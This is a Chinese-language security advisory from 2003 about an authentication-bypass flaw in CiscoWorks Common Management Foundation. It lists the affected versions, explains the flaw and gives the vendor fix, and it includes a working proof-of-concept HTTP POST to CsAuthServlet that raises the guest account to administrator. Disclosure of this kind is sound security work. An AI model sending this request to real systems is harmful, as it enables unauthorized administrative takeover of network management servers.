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CiscoWorks Common Management Foundation绕过管理验证漏洞


发布时间:2003-08-13
更新时间:2003-08-13
严重程度:
威胁程度:远程管理员权限
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:8410

受影响系统
Cisco CiscoWorks CD1 5th Edition                
Cisco CiscoWorks CD1 4th Edition                
Cisco CiscoWorks CD1 3rd Edition                
Cisco CiscoWorks CD1 2nd Edition                
Cisco CiscoWorks CD1 1st Edition                
Cisco CiscoWorks Common Management Foundation 2.0
Cisco CiscoWorks Common Management Foundation 2.1
Cisco Resource Manager 1.0                      
Cisco Resource Manager 1.1                      
Cisco Resource Manager Essentials 2.0            
Cisco Resource Manager Essentials 2.1            
Cisco Resource Manager Essentials 2.2
详细描述
CiscoWorks Common Management Foundation(CMF)提供了一个应用程序框架,使所有的CiscoWorks应用程序共享一个共同的管理功能模型。CMF的访问验证实现上存在漏洞,一个非特权用户,包括guest用户,通过发送一个特殊构造的URL到CiscoWorks服务器可以无需认证获取管理员权限。

测试代码
POST /CSCOnm/servlet/com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 10.10.10.1:1741
Content-Length: 114
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: jrunsessionid=1057059156201223367


cmd=modifyUser&name=guest&pwd=&email=&ccoId=&ccoPwd=&proxyId=&proxyPwd=&priv
iledges=0

解决方案
厂商已经在CiscoWorks Common Services 2.2版软件中修补了此漏洞,请联系厂商获取补丁。

相关信息
CiscoWorks 2000 Priviledge Escalation Vulnerability
http://lists.insecure.org/lists/bugtraq/2003/Aug/0132.html

Cisco Security Advisory: CiscoWorks Application Vulnerabilities
http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml